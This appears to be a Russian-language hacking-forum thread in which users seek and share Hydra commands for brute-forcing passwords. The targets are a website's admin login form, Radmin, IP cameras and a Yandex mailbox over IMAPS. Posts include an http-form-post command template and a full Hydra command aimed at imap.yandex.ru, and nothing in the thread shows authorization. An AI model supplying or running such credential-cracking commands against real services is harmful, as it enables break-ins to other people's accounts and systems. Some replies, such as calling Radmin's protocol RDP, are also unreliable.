Слышал про Hydra ? - жесткий брут

Добрый день, использую Hydra ( https://www.thc.org/thc-hydra/ ) из под Debian, пытаюсь начать брутфорс пароля к этой веб форме:

Code:

   <div>
<b>Панель управления сайтом</b>
            <br /><br />Введите пароль: <form action="index.php?section=admin&act=enter" method="POST">
        <input type="password" name="pass" /> <input type="submit" value="Вход!" />
        </form>
            </div>

Логина нет! Только пароль! Необходим брут по словарю, помогите составить команду для Hydra

 

По мне гидра - черепаха еще та, не пользовался, ну так по мануалу попробую помочь) Тестить не где)

Code:

hydra [COLOR=Navy] 127.0.0.1[/COLOR] http-form-post "/index.php?section=admin&password=[COLOR=Green]^PASS^[/COLOR]&act=enter:[COLOR=Red]_Bad_Keyword_[/COLOR]"

Где
127.0.0.1 - домен
^PASS^ - переменная с паролем
_Bad_Keyword_ - кейворд в случае не правильного ввода пароля (ex. Bad password)

 

Сейчас попробую, но из ошибок сразу заметил что ты не указал словарь с паролями

 

Кто может помочь, либо посоветовать другой способ брута напишите пожалуйста)

 

так а этот чем не нравиться?)

ну если быстро будешь соображать, могу тебе краткий курс практики провести

 

Написал в личку

 

можешь и мне курсик провести?

 

пиши в ЛС, а там уже посмотрим, подумаю.
p.s. без элементарных основ тратить время не буду. если вообще отсутствует представление о работе сетевых технологий, вынужден отказать...

 

Если не знаешь как пользоваться, то лучше брутфорс подбери другими способами.

 

Подскажите какой протокол удаленного рабочего стола у radmin, и брутит ли его hydra&

 

1.RDP
2.Да

 

Подскажи, пожалуйста, годную альтернативу(ы).

 

подскажите а irdmi для видеокамер вто забрутить может?

 

Есть проблема hydra 7.5 windows, разобрался с функционалом, ввожу к примеру "hydra -l @yandex.ru -P pass3.txt -S -s 993 -f -w 10 -V imaps://imap.yandex.ru" Проходит 2-3 секунды, пароль найден. Но увы не один не подходит, как решить проблему ? Что не так делаю ?

 

читать документацию

Code:

-f / -F   exit when a login/pass pair is found (-M: -f per host, -F global)